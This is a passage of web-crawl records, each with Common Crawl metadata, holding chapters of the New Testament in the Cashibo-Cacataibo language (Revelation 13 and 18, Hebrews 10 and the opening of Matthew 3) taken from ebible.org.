'uchaia.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/JAS04.htm","date":"2022-05-26T17:54:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662619221.81\/warc\/CC-MAIN-20220526162749-20220526192749-00483.warc.gz","language":"cbr","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000081062316895}","num_words":650,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nÑuinacan'ëo rabë́ ñui quicë bana\n1 Usai 'icëbëtan cana parúnpapa masinu nixun ñuinacan'ëo parúnpapanuax uax 'iruia isan. A ñuinacan'ëo ax ca aín matúxcanëx mëcën rabë́ 'imainun aín matúxcanu 'icë mañutiribi mëcën rabë́ 'iaxa. Usa 'aish ca aín maxcataxribi mëcën achúshi 'imainun rabë́ 'imainun, aín maxcácamanuribi Nucën Papa Dios 'atimaquin ñui quicë bana cuënëocë 'iaxa. 2 A parúnpapanuax uax 'irucë ñuinacan'ëox ca paru 'inúansa 'ianan aín taë xaë́on taësa 'ianan aín cuëbitax 'inúan cuëbísa 'iaxa. A parúnpapanuax uax 'irucë ñuinacan'ëo ca capë́sa ñuinacan aín cushi 'inánan, aín bana cuacësaribi oquin aín bana cuanan unicaman an sinánmicësa oquin 'anun 'imiaxa. 3 'Ën iscëx ca a parúnpapanuax uax 'irucë ñuinacan'ëo aín maxcá achúshi, unin motisama oquin tëacësa 'aíshbi mooxa. Mocëbë ratúquin ca camabi menu 'icë unin —cushiira ca ax 'icë —quixun sinánxa. Usaquin sinánquin ca aín bana cuaxa. 4 Parúnpapanuax uax 'irucë ñuinacan'ëo a, aín cushi 'ináncë cupí, ca capë́sa ñuina chaira a camabi menu 'icë unicaman rabiaxa. Rabianan ca parúnpapanuax uax 'irucë ñuinacan'ëoribi rabi —asaribi ñu ca 'aíma 'icë —quianan ca —axa abë 'acananti ca 'aíma 'icë —quiaxa.\n5 Usai quicëbëtan ca parúnpapanuax uax 'irucë ñuinacan'ëo, ax a cërúai ami 'atimati bananun Nucën Papa Diosan ëanxa. Usaquin ca cuarenta y dos 'uxë́an unicaman aín bana cuanun ëanxa. 6 Usaquian ëncëxun ca aín cuëbitan Nucën Papa Dios 'imainun anua ax 'icë 'atimaquin ñui bananan, aín nëtënu abë 'icë aín unicamaribi 'atimati banaquin ñuiaxa. 7 Usaquian ëncëxun ca camabi menu 'icë unicama, axa Nucën Papa Diosmi catamëcë, abë 'acananquin ñusmoxa. Ñusmoxun ca camabi menu 'icë unicama, bëtsi bëtsi unibu, bëtsi bëtsi banan banacëcama, aín bana cuanun 'imiaxa. 8 Ënë menu bucucë, ui unicamax cara me uniotabacë 'ain, Carnero 'icësaribitia unin 'ucha cupí bama, aín quiricanu aín anë cuënëoma 'icë, a unicaman ca axa parúnpapanuax uax 'irucë ñuinacan'ëo aín bana cuanan rabiaxa.\n9 Uicaman cara upí oquin 'unántisa tania an ca aín pabitan ënë bana cuaquin aín nuitunënbi sinánquin cuati 'icën, ësai quicë: 10 Uicaman cara uni itsi sipuanun 'inania, acamaxribi ca sipuacë 'iti 'icën. An uni itsi manë xëtocën 'acë uni, a ca bëtsi unínribi usaribi oquin 'ati 'icën. Usa 'aínbi ca axa Nucën Papa Diosmi catamëcë unicaman uisai cara ñu 'icëbëtanbi Nucën Papa Diosmi sinánti ëntima 'icën.\n11 Bëtsi ñuinacan'ëoribi cana me mëucüaxa aia isan. Aín matúxca rabëtax ca carneronën matúxcasaribi 'iaxa. Ax ca capë́sa ñuina chaira ax banacësaribi banaxa. 12 A ñuinacan'ëo me mëucüax ucë, aín cushi ca parúnpapanuax uax 'irucë ñuinacan'ëo abë 'aish aín cushisaribi 'iaxa. Usa 'ixun ca camabi menu 'icë unicaman parúnpapanuax uax 'irucë ñuinacan'ëo, axa motisama oquin tëacë 'aíshbi mocë, a rabinun me mëucüaxa ucë ñuinacan'ëon rabimiaxa. 13 Me mëucüaxa ucë ñuinacan'ëo an ca unían iscëma ñu 'anan unin 'acëma ñu 'axa. Usaquin 'anan ca unicaman ismainunbi tsi naínua menu 'ibúmiaxa. 14 Parúnpapanuax uaxa 'irucë ñuinacan'ëon ismainun, usoquin 'anúan Nucën Papa Diosan ëncëxun ca unían iscëma ñu 'anan acëma ñuribi 'aquin, ënë menu 'icë unicama paránxa. Paránan ca a ñuinacan'ëo parúnpapanuax uaxa 'irucë axa manë xëtocën motisama oquin tëacë 'aíshbi mocë, abi tanquin a iscësaribi 'itánun 'anun uni 'amiaxa. 15 'Amitancëxun ca parúnpapanuax uax 'irucë ñuinacan'ëo a tanquin 'acë ñu a banamiaxa. Banamiquin ca uicaman cara a ñu ax isa dios 'icë quixun rabicëma 'icë, acama 'anun quixun uni 'amiaxa. 16 Usaquin 'anan ca camabi uni, 'apu unicama 'imainun 'apuma unicamaribi, ñuñu unicama 'imainun ñuñuma unicamaribi, an uni ñu mëëxuncëma unicama 'imainun an uni ñu mëëxuncë unicamaribi, camabi aín mëcën mëqueu parúnpapanuax uax 'irucë ñuinacan'ëonan 'inun 'unántioquin cuënëocë 'inun 'amiaxa. 'Amianan ca aín mëcën mëqueu 'unántiocëma 'icë, aín bëmánanu 'unántioquin cuënëomiaxa. 17 'Unántioquin cuënëocë bana ax ca parúnpapanuax uax 'irucë ñuinacan'ëo aín anë 'iaxa. Aín anë 'acëma 'ain ca aín número cuënëocë 'iaxa. Ui unicamax cara 'unántioquin cuënëocëma 'icë an ñu maruanan ñu biti ca 'aíma 'iaxa. 18 An ñu 'unáncë unin ca parúnpapanuax uaxa 'irucë ñuinacan'ëo uisai quicë cara aín número 'icë quixun 'unánti 'icën. Aín númeronëx ca, seiscientos sesenta y seis (666) 'icën. Anëñu 'aíshbia númeroñu unisaribi ca a ñuinacan'ëon número 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV13.htm","date":"2022-05-28T01:29:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00488.warc.gz","language":"cbr","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000004768371582}","num_words":637,"character_repetition_ratio":0.143,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18\nBabilonianu 'icë unicama ñusmo\n1 Usai 'icëbëtan cana bëtsi ángel naínuax aia isan. Ax cushiira 'ixun ca aín pëcacën mecama pëcaxa. 2-3 Ai ca munuma banai quiaxa:\n—Babilonianu 'icë unicaman 'aisamaira oquin ñu 'atima 'acë 'ixun ca bëtsi mecamanu 'icë unicamanribia usaquin 'anun sinánmiaxa. Camabi nëtënu 'icë 'apucamaxribi ca Babilonianu 'icë unicaman 'aia isi aín unicamabë usaribiti 'i cuëëanxa. Babilonianu 'icë an ñu marucë unicamax ca 'itsa ñu upíira 'imainun cupíira bianan maruanan aín nuitunën upí oquin sinanima 'itsa curíquiñuishi 'iti sinánxa. Atúxa usai 'ia isi ca camabi menu 'icë an ñu marucë uni, Babilonianu 'icë ñu biquin marui 'itsa curíquiñu 'iaxa. A ëmanu 'icë unicamaxa usai 'i 'aisama 'icë ca Nucën Papa Diosan ñusmoxa. Ñusmocëbë ca anu 'icë xubucama rurucubuaxa. Usa 'ain ca ñunshin 'atimacama anu bërí 'ia, uisaira ñunshin 'atimacama cara, ax ca anu 'ia, 'imainun ca uisa ñu pëchiu 'atima cara unin cuëëncëma, axribi anu 'ia.\n4 Usai naínuax ucë ángel quicëbëtan cana naínuaxa bëtsi banan banaia cuan, ësai quicë:\n—'Ën unicamax, mina anu 'icë unicama 'icësaribiti 'uchain camina a ëmanuax cuanti 'ain, a unicama atun 'ucha cupí tëmëramicësaribi oquin mitsuribi tëmëramiti rabanan. 5 Atun 'ucha ca 'aisamaira 'icën, ñu manámi chaioruquin bucúncësa ca ax 'icën. Usa 'icë ca Nucën Papa Diosan atun 'uchacama manuquinma sinánxa. 6 Anu 'icë unicaman uni raíri tëmëramicësaribi oquin camina mitsun atu tëmëramiti 'ain. Atúan uni raíri tëmëramicësamaira oquin camina aturibi tëmëramiti 'ain. 7 Anu 'icë unicaman rabíquin, —nux cananuna bëtsi unicamabëtan sënë́nmaira 'ai —quixun sinánan atux cuëëncësabi oquinshi 'aiabi camina acama 'aisamairai tëmëranun 'imiti 'ain. Atun ca \"'ën cana casunamëcë xanun 'acësoquin tëmëratima 'ai\" quixun sinania. 8 Usaquian sináncëbëbi ca anúan atu tëmëramiti nëtë uti 'icën. A nëtën ca 'itsa uni bamati 'icën. 'Imainun ca raíricamax rarumati tëmëranan 'acëñuma 'aish bamatisa tanti 'icën. A nëtën ca a ëmacamax tsin picë 'iti 'icën. Usaquin ca Nucën 'Ibu Diosan ax cushiira 'ixun atun 'uchacama cupí atu 'uchoquin castícanti 'icën.\nUsai náinuaxa banaia cana cuan. 9 Bëtsi 'apucama, an aín unicamaribia Babilonianu 'icë unicaman ñu 'atima 'acësaribi oquin 'anun 'amicë, ax ca Babilonia tsin piquin cëñucëbëa, aín cuin tëxë́ruia isi, munuma rarumati inti 'icën. 10 Ianan ca racuëti 'uracëox quiti icën:\n—Usai 'imari 'itibi camina 'in. Babilonia chaira, mix bëtsi ëmasama 'iá 'aíshbi camina bënëtishi Nucën Papa Diosan 'uchoquin castícancë 'ain.\nUsai ca 'apucama quiti 'icën.\n11 A ëmanu 'icë unicamaxa cëñúcë 'ain ca camabi menu 'icë an ñu marucë unicama rarumati inti 'icën, bëría an atun ñu maruti 'aíma 'ain. 12 Ñu curi 'acë, manë uxua 'acë, maxax upíira upí ichúcësa, perlas, chupa xapu 'acësa upí oquin xëocë, bëtsi chupa minanën pucucësa, chupa ushían, acama 'imainun bëtsi bëtsi sanu i, elefante xëta 'acë ñu, cupíira cupí ñu, i 'acë, 'imainun cashtá manë 'acë 'imainun bëtsi manë 'acë 'imainun upíira maxax uxua 'acë acama, 13 'imainun sanu ro, i baca sanuira oquin 'acë, tsëpasa 'aíshbi nëëncëx sanuira ñu, vino, xëni, trigo, trigo rëncë, acama 'imainun a ñu papimiti 'aracacë ñuina 'imainun carnero, caballo, caballonëan niquincë auto, 'imainun uni, an uni itsi ñu 'axúnun maruti, a ñucama bëia —an biti ca bërí 'aíma 'icë —quixun sinani ca an usa ñu marunuxun bëcë unicamax rarumati inti 'icën. 14 Inquin ca ësaquin a ëmanu 'icë unicama cati 'icën:\n—Anúnmi cuëëan bimiñuma camina 'ain. Mitsun ñu upícama 'imainun mitsun ñun curánacama ca cëñuti nëtë́axa, camina acama istëcëntima 'ain.\n15 Usa 'ain ca an axa Babilonianu 'icë unicama ñu 'inánquin 'itsa curíqui bicë unicama racuëti 'ura sëtëtax rarumati inti 'icën. 16 Iní ca ësai quiti 'icën:\n—'Imari 'itibi ca 'iaxa. A ëma cha anu 'icë unicamax ca xanun atun chupa upíira upí minanën pucucësa 'imainun ushíanën pucucë pañucësa 'iaxa. 'Ianan ca xanu ñu cupíira cupí, curi 'acë, maxax upí 'acë, 'imainun perla, po namë́ iscësa, usa ñucaman mëníocacësa 'iaxa. 17 Usa 'aínbi ca bënëtishi a ñu cupíira cupí ax cëñúaxa.\nUsai quicëbë ca ax manë nuntiñu 'icë unicama, 'imainun an a nunticama niquincë unicama, 'imainun axa a nunticaman cuancë unicama 'imainun parúnpapan bëtsi bëtsi nëtënua maruti ñu bënux cuancë unicamaxribi 'ura sëtë́axa. 18 Sëtëtax ca a ëma usoquin nëëncë́xa aín tsin cuin tëxë́ruia isi cuëëncëni ësai quiaxa:\n—Uinu 'icë ëmáxbi ca ënë ëmasama 'iaxa.\n19 Quianan ca masá nuitucë uníxa 'icësaribiti me cupúcë bitancëx aín maxcánu mapucuti rarumati ini quiaxa:\n—Usai 'imari 'itibi ca 'ia. A ëmanu 'icë unicamax 'aisamaira curíquiñu 'ixun ca an aín manë nuntin maruti ñu bëcë unicaman ñu biaxa. Bicëbë ca a unicamaxribi 'aisamaira curíquiñu 'iaxa. Usa 'aínbi ca bënëtishi a ëmanu 'icë unicamax cëñúaxa.\n20 Usai quianan ca ësairibi quiaxa:\n—Aín unicama paë tanmiquin tëmëramicë, a cupíquin ca Nucën Papa Diosan Babilonianu 'icë unicama cëñuaxa. Usaquin 'an ca naínu 'icëcama, 'imainun an aín bana ñuixunun Jesusan caíscë unicama, 'imainun an Nucën Papa Diosan bana uni ñuixuncë unicama, 'imainun axa ami catamëcë aín unicama, camáxbi cuëënti 'icën.\n21 Usai a unicamax quicëbëtan ca anun ñu bacati cushiñu ángel achúshinën maxax chaira, anun ñu rënti maxáxsa, a biquin parúnpapanu niaxa. Ni ca quiaxa:\n—A maxax istëcëntimoquin nicë usaribi ca Babilonia, a ëma chaira, 'imainun anu 'icë unicamaxribi unin a istëcëntimoquin cëñucë 'iti 'icën. 22-23 Anu 'icë, an ñu marucë unicama bëtsi menu 'icë an ñu marucë unicamasama 'aish, ñubë́ 'ixun ca camabi menu 'icë unicama paránquin 'atima ñu 'amiaxa. Usa 'aínbi ca Babilonia ëma cha anuxun arpa cacë ñua raírinën 'amainun raírinënribi pacon banomainun bëtsi bëtsi ñucamaribi 'ai cuëëni sharatia unin cuatëcëntima 'icën. An i 'anan manë uniocë unían anuxun 'atëcënti ca 'aíma 'iti 'icën. An ñu rëncë xanúan ñu rënquin tarúncaia ca unin cuatëcëntima 'icën. Anun xubucama pëcati lamparín ca 'aíma 'iti 'icën. Unin xanu biti nëtë ca 'itëcëntima 'icën.\n24 An Nucën Papa Dios quicë bana uni ñuixuncë unicama 'imainun axa ami sináncë unicama 'imainun camabi menu 'icë unia unin 'acë, ax ca Babilonianu 'icë unicaman 'ucha 'iaxa. Usa 'ain ca Babilonianu 'icë unicama Nucën Papa Diosan cëñuaxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV18.htm","date":"2022-05-28T01:31:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00493.warc.gz","language":"cbr","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000006914138794}","num_words":942,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\n1 Jesucristoa ënë menu utancëx unicaman 'ucha cupí usai 'iti tanquian judíos unicaman aín 'ucha cupí castícancëma 'inuxun 'aracacë ñuina 'anun ca Nucën Papa Diosan mëníocëxa. Usoquin mëníocë 'ain ca judíos unicaman Nucën Papa Diosbë upí 'iisa tanquin camabi baritia 'aracacë ñuina 'axun xaroia. Usoquin 'acë 'aínbi ca aín nuitu asérabi 'uchatëcëntimoquin upí 'inun mëníocëma 'icën. 2 Aín 'ucha tërë́ncë 'ianan aín nuitu asérabi upí 'imicë 'ain ca judíos unicaman Nucën Papa Diosan isnun quixun 'aracacë ñuina amiribi amiribi 'á 'itsíanma. Usoquin 'aracacë ñuina 'acë cupía aín 'ucha tërë́ncë 'aish aín sinan asérabi upí 'ain ca 'aracacë ñuina rëmitëcënti sináncëma 'itsíanxa. 3-4 Vaca bacë 'imainun chivo rëxun xaroanan aín imi ánscacë 'aínbi ca a unicama aín sinan ashiquin upí 'inun mëníocëma 'icën. Usa 'ain ca judíos unicaman camabi baritia ñuina rëmiquin —'ën sinan ca asérabi upíma 'icë —quixun sinántëcënia. 5 Usa 'ain ca Cristonën ënë nëtënu uquin aín Papa Dios ësaquin cacëxa:\nÑuina unin rëxun xaroti cuëënquinma camina 'ëx uni 'aish unicaman 'ucha cupí bamati mëníon. 6 Aín 'ucha cupía unin ñuina rëxun mi xaroxuncë a camina cuëëniman. 7 Usa 'ain cana mi can: 'Ën Papa Dios, mix cuëëncësabi oquinshi 'anux cana ënë nëtënu ain, min bana cuënëo quicësabi oi.\n8 Moisésnën cuënëo bana, aín 'ucha tërë́ncë 'inun ca unin ñuina rëxun xaroti 'icë quicë 'aínbi ca Cristonën aín Papa Dios cacëxa, \"aín 'ucha cupía unin ñuina rëxunmi xaroxuncë a camina cuëëniman\". 9 Catancëxun ca Cristonën ësaquinribi aín Papa Dios cacëxa: \"'Ën Papa Dios, mix cuëëncësabi oquinshi 'anux cana ënë nëtënu ain\". A bana cuënëosabi oi utancëxa Cristo camabi unin 'ucha cupí bama 'ain ca bërí unin aín 'ucha cupí ñuina rëxun xarotëcëntima 'icën. 10 Jesucristo aín Papa Dios cuëëncësabi oi, bamatsianxmabi achúshitishi bama 'ain cananuna nux Cristo bama cupí Nucën Papa Diosan iscëx nun 'ucha tërë́ncë 'aish asérabi ainan 'ain.\n11 Judíos sacerdotecaman ca camabi nëtën 'uchañu unían bëxuncëxun aín 'ucha tërë́ncë 'inun 'aracacë ñuina rëxunia. Usoquian 'acëbëbi ca aín nuitu upíma usabi 'ia. 12 Usa 'aínbi ca Jesucristo achúshitishi camabi unin 'ucha tërë́ncë 'inun bamax baísquitancëx anu aín Papa 'icë anu abë 'Apu 'aish aín mëqueu 'i cuancëxa. 13 Anu 'aish ca axa ami nishcë unicama a Nucën Papa Diosan 'ibuamimainun anua Nucën Papa Dios 'icë anu 'icën. 14 Usa 'ain ca achúshitishi bama 'ixun axa ami catamëcë unicama aín 'ucha tërë́anan nëtë́timoia abë upí 'inun 'imia. 15 Usa ca quixun ca aín Bëru Ñunshin Upitan nu 'unánmia, ësai ca Nucën Papa Diosan bana cuënëo quia quixun nu sinánmiquin:\n16 Ësoquin cana 'ëx mitsun 'Ibu Dios 'ixun mitsu cain, usai ca judíos unicama 'iti 'icë quixun caquin 'ë a pain 'inan bana sënë́ncëbëtan cana bëtsi atu 'inánti 'ain. Ësai ca a bana quiti 'icën: 'Ën cana 'ën cacë bana 'ën unicaman aín nuitu mëu upí oquin 'unánan manuquinma sinánun 'unánmiti 'ain.\n17 Quianan ca ësairibi a bana quia:\nAín ñu 'atima 'acëcama tërë́nxun cana manuquin aín 'uchacama sinántëcëntima 'ain.\n18 Usa 'aían unin 'ucha sinántëcëntimoquin tërë́ncë 'inun Cristo bama 'ain ca unin aín 'ucha tërë́ncë 'inun 'aracacë ñuina rëxun xarotëcëntima 'icën.\nCristonan cupí abë banaquin Nucën Papa Dios ëntima ñui quicë bana\n19 'Ën xucë́antu, Jesucristo aín imi 'apati bama cupí nun 'uchacama tërë́ncë 'ianan Nucën Papa Diosnan 'aish cananuna —Cristo cupí ca Nucën Papa Diosan nux banaia cuati 'icë —quixun sinani racuëtima abë banati 'ain. 20 Bamax baísquitancëx aín Papan nëtënu abë 'i cuan 'ixuan, Jesusan nu 'aquincëx cananuna ax bamatimoi tsócë Nucën Papa Dios, abëbi banati 'ain, nucën rara judíos unicama 'iásamai. 21 An Nucën Papa Diosan unicama a ñucáxuncë ax ca Jesús 'icën. 22 A cupí nun 'uchacama tërë́ncë 'aish cananuna uisa ñu cara 'aisama 'icë quixunu 'unánquin mëníocë 'aish asérabi ax cuëëncësabi oi 'iisa tani Nucën Papa Diosbë banati 'ain, an ca cuati 'icë quixun 'unani. Ax Nucën Papa Diosbë banai tabernáculo xubunu atsínux ca sacerdote aín 'ucha tërë́ncë 'ianan upiti nashi mëníocacëxa. Usaribiti cananuna Jesucristo cupí chucacësa 'aísha nun nuitu, nun sinan upí 'ain Nucën Papa Diosbë banain. 23 —Nucën Papa Diosan ca aín quicësabi oquin nu upí 'imianan nux aín nëtënu abë 'inun 'imia —quixun 'unánquin cananuna asérabi ami catamëquin aín bana ënquinma an nu cacësabi oquin 'aquin bëtsi uniribi —Nucën Papa Diosan ca ax quicësabi oquin, usoquin nu 'aquinia —quixun ñuixunti 'ain. 24 Camaxunbi cananuna uisai caranuna bëtsibë bëtsibë nuibananan Nucën Papa Dios cuëëncësabi oquin ñu 'anun 'aquiananti 'ain quixun sinánti 'ain. Sinántancëxun cananuna asérabi usoquin 'ati 'ain. 25 Usabi 'icë aísha bëtsi bëtsi uni axa Jesucristomi catamëcë unicamabë timë́tisama tancëbëbi cananuna nux usai 'ima, aín unicamabë timë́anan bëtsibë bëtsibë Jesucristomia catamënun 'aquiananti 'ain, Jesucristo utëcënti nëtë ca 'urama 'icë quixun sinani.\n26 Jesucristomi catamëcë 'ixunbi nunbi 'aisa tanquin ënquinma ñu 'atima amiribi amiribi 'ai cananuna nun 'ucha tërë́nun Jesucristomi catamëti cuëëncëma cupí nun 'ucha tërë́ncëma 'aish usabi 'iti 'ain. 27 Usa 'icë, anun an camabi unin ñu 'acë isti nëtën Nucën Papa Diosan ax cuëëncësa oi 'iisama tani ami nishcë unicama 'acësaribi oquin nuribi 'uchoquin manë tsinu 'imicëx cananuna nux abë 'itimoi 'iti 'ain. 28 An usai ca judíos unicama 'iti 'icë quixun Moisésnën cuënëo bana quicësabi oquin 'acëma uni a ñuia, rabë́ 'imainun achúshi uni —asérabi ca usa 'icë —quicëbëtan ca nuibati sinanaquinma a uni uni itsin 'aia. Rabë́ uníxëshia a ñui usai quicëbëtanribi ca usaquin 'aia. 29 A unia usoquin 'ásamaira oquin ca axa aín Bëchicë 'imainun aín Bëru Ñunshin Upími 'atimati banacë uni a Nucën Papa Diosan castícanti 'icën. Nucën Papa Diosan Bëchicë, axa unicama 'uchañu 'icëbi ië́minux aín imi 'apati bama, a ami 'atimati bananan Nucën Papa Diosan Bëru Ñunshin Upí an uni nuibaquin 'aquincë ami 'atimati banacë, a unicamax ca an Moisésnën cuënëo bana 'acëma unia 'acësamaira oquian Nucën Papa Diosan castícancë 'iti 'icën. 30 Cananuna 'unanin, ësai ca Nucën 'Ibu Dios quiacëxa quixun: \"Uix cara 'uchaia, a cana 'ënbi uisaira oquin carana 'ati 'ai usoquin 'ati 'ain\". Ësairibi ca quiacëxa: \"Uinu 'icë 'ën unicaman cara 'ëx quicësabi oquin 'acëma 'icë a cana 'ën uisa carana oti 'ai usoquin 'ati 'ain\". 31 Usa 'ain cananuna nun 'ucha ëncëma 'aish, Nucën Papa Diosan ca ax cushiira 'ixun uisaira oquin cara 'ati 'icë usoquin nu 'ati 'icë quixun sinani ami racuë́ti 'ain.\n32 Jesucristomi catamëtabatia, unin mitsu bëtsi bëtsi oquin tëmëramicëxunbi camina bënë́quinma tanshiacën. Usaími mitsux 'ia a camina sinánti 'ain. 33 Mitsu raírinëx camina unin mitsumi cuaiquin 'itsa unin ismainun mëëcë 'iacën. Usai 'imainun ca axa Cristomi catamëcë uni raírinën mitsux usai 'icë isi masá nuituquin ënquinma 'aquiancëxa. 34 Usa 'ixun camina Jesucristomi catamëcë cupía sipuacë unicama nuibaquin 'aquiancën. Mitsumi nishquian mitsun ñu bicancëbëbi camina masá nuitutíma usabi cuëëancën. —Ënë nëtënuax ñuñu 'aish cuëëncësamaira oi cana Nucën Papa Diosnan 'aish aín nëtënu nëtë́timoi abë 'iti 'ai —quixun sinani camina cuëëancën. 35 —Usai cana 'iacë —quiax manúquinma camina min 'acësabi oquin Jesucristomi catamëti ëntima 'ain. Ami catamëcë 'aish camina a cupí nëtë́timoi abë Nucën Papa Diosan nëtënu 'iti 'ain. 36 Jesucristo ucëbë ax quicësabi oi Nucën Papa Diosan nëtënu abë 'inuxun camina uni itsían mitsu tëmëramicëxbi a taníma usabi Cristomi catamëquin ax cuëëncësabi oquin 'ati 'ain. 37 Ësai ca Nucën Papa Diosan bana cuënëo quia:\nXënibutíma ca ax bënëtishi uti 'icën. A nun caíncë ax ca nëtë́butima uti 'icën. 38 'Ën iscë́xa ax upí 'icë 'ën unicamax ca tëmëraibi 'ëmi catamëti tsóti 'icën. Usa 'aínbi cana an 'aquinbi racuë́quin 'ën bana ëncë uni a isi cuëëntima 'ain\".\n39 Usaía an aín bana 'aquinbi ëncë uni ax Nucën Papa Diosan nëtënu abë 'itima 'aínbi cananuna nun ami catamëquin ëncëma 'aish, asérabi Nucën Papa Diosnan 'aish aín nëtënu abë 'iti 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/HEB10.htm","date":"2022-05-25T20:02:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662593428.63\/warc\/CC-MAIN-20220525182604-20220525212604-00135.warc.gz","language":"cbr","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000067949295044}","num_words":1204,"character_repetition_ratio":0.102,"word_repetition_ratio":0.003,"special_characters_ratio":0.215,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"II. GALILEA MENUXUAN JESUSAN BANA ÑUIXUAN (3-20)\n3\nJuanën anu uni 'icëma menuxun unicama bana ñuixuan\n(Mr 1.1-8; Lc 3.1-9, 15-17; Jn 1.19-28)\n1 Jesús Nazaretnu 'ain ca Juan, an unicama nashimicë, ax Judea nëtënu 'aish anu uni 'icëma menu 'iacëxa. Anuxun ca an bana ñuia cuati cuania unicama bana ñuixuancëxa. 2 Bana ñuixunquin ca cacëxa:\n—Anun Nucën Papa Diosan abë upí 'inun mitsu ainan 'imiti nëtë ca 'urama 'icën. Usa 'ain ca Nucën Papa Diosmi sináncë 'aíshmabi sinanati ami sinan.\n3 Juan ax ca a Isaíasnën Nucën Papa Diosan sinánmicëxun ñuiá a 'icën. Ësai ca a bana quia:\nAnu uni 'icëma menuxun munuma bana ñui ca a unix ësai quia: Nucën 'Ibu ca aia, camina axa anun uti bai mëníoquin racanati 'ain.\n4 Juan ax ca camello rani 'acë chupa pañuanan ñuina xacá 'acë anun tsitëcërëquicë 'iacëxa. Aín piti ca curuchinti 'imainun buna rëpa 'iacëxa. 5 Usa 'ain ca Jerusalénu 'icë unicama Juanu riquiancëxa. Judea menu 'icë unicama 'imainun baca, Jordán cacë, a 'urama 'icë mecama anuaxribi ca 'aisamaira uni Juanën bana ñuixunia cuati cuancëxa. 6 Cuanxúan atun 'uchacama chiquinatia ca Juanën Jordán bacanuxun nashimiacëxa.\n7 Juanën bana ñuixunia cuati 'itsa uni ricuatsinmainun ca 'itsa fariseo uni 'imainun 'itsa saduceo uniribi an nashiminun quiax anu uacëxa. Aia isquin ca Juanën cacëxa:\n—Mitsux 'atima 'ixun uni paráncë 'aish camina mitsun rara 'iásaribiti runu, an uni picë, asa 'ain. ¿Usa 'icë cara anúan Nucën Papa Diosan 'aisama unicama atumi nishquin masóti nëtën masócë 'itin rabananmi sinananun quixun uin mitsu cax? 8 Unían mitsux camina asérabi sinanacë 'ai quixun 'unánun camina ñu 'aisama 'ati ënquin upí ñuishi 'ati 'ain. 9 —Nux Abrahamnën rëbúnqui 'aish cananuna Nucën Papa Diosan iscëx upí 'ai —quixun sinánxunma ca 'acan. Asérabi cana mitsu cain, 'aisa tanquin ca Nucën Papa Diosan ënë maxáxbi bëtsi oquin Abrahamnën rëbúnqui 'imiti 'icën. 10 Ca ësa 'icën. A rëti aín manë ruë tuíanx a rapasu niracëquin ca an upí oquin tuacëma icama rëtancëxun xanania unin tsin nëënia. Usaribi oquin ca bënë́nquinshi mitsúxmi sinanati ami sináncëma 'icë Nucën Papa Diosan mitsu 'ati 'icën. 11 Uníxa an ñu 'atima 'acëcama ëni sinanacë cupí cana 'ën a 'umpaxan nashimin. Usa 'aínbi ca 'ësamaira uni 'ë caxu aia. Axa upíira 'aish cushiira 'ain cana 'ëx asaribima 'aish ami rabini a 'urama 'itima 'ain. Usai 'iquin cana aín taxacabi a buánxuntima 'ain. Axira uquin ca uni aín Bëru Ñunshin Upíñu 'inun 'imiti 'icën. 'Imiquin ca tsi rëquirucënën ñu 'acësoquin aín cushin aín nuitunua sináncë ñu 'atimacama a cëñuquin uni upí 'imiti 'icën. 12 An ñu 'apácë unin 'acësaribi oquin ca 'ati 'icën. Ësa ca 'iti 'icën. Unin ca ñu bëru trigo 'apatia. 'Apátancëxun ca bimia bitsia. Bitancëxun ca bucúnxun chacaia. Chacaquian tacaia ca aín xacá suñun amo putia. Pucëbë ca aín bëru ax tiquia. Usai 'ia bërúanxun bixun bucúntancëxun ca aín xacácama tsi rëquirucë bënántisamanën nëënia. Usaribi oquin ca axa uti an aín 'acë ñucama 'unánquin, upí unicama abëa 'iti bianan 'atimacama a atun ñu 'atima 'acë cupí bimi xacá nëënti pucësa 'imiti 'icën.\nJuanën Jesús nashimia\n(Mr 1.9-11; Lc 3.21-22)\n13 Usa 'ain ca Galilea me anuax cuanx Jesús Judea nëtënu 'icë baca, Jordán cacë, anua Juan 'ain, anu cuancëxa, anuxuan Juanën nashiminun. 14 Cuanxa bëbaiabi ca Juanën nashimisama tanquin Jesús cacëxa:\n—¿Miinra 'ë nashimisa 'aíshbi caina 'ën mi nashiminun quiax ain?\n15 Cacëxunbi ca Jesusan cacëxa:\n—Uisai cara Nucën Papa Dios quia, usai cananuna 'iti 'ain. Usa 'ain camina min 'ë bërí nashimiti 'ain.\nCacëxun ca Juanën —cana mi 'ati 'ain —quixun caxun Jesús nashimiacëxa.\n16 Usoquin Juanën nashimicëx ca Jesús bacanuax 'iruquiani cuancëxa. Cuanquinbi ca 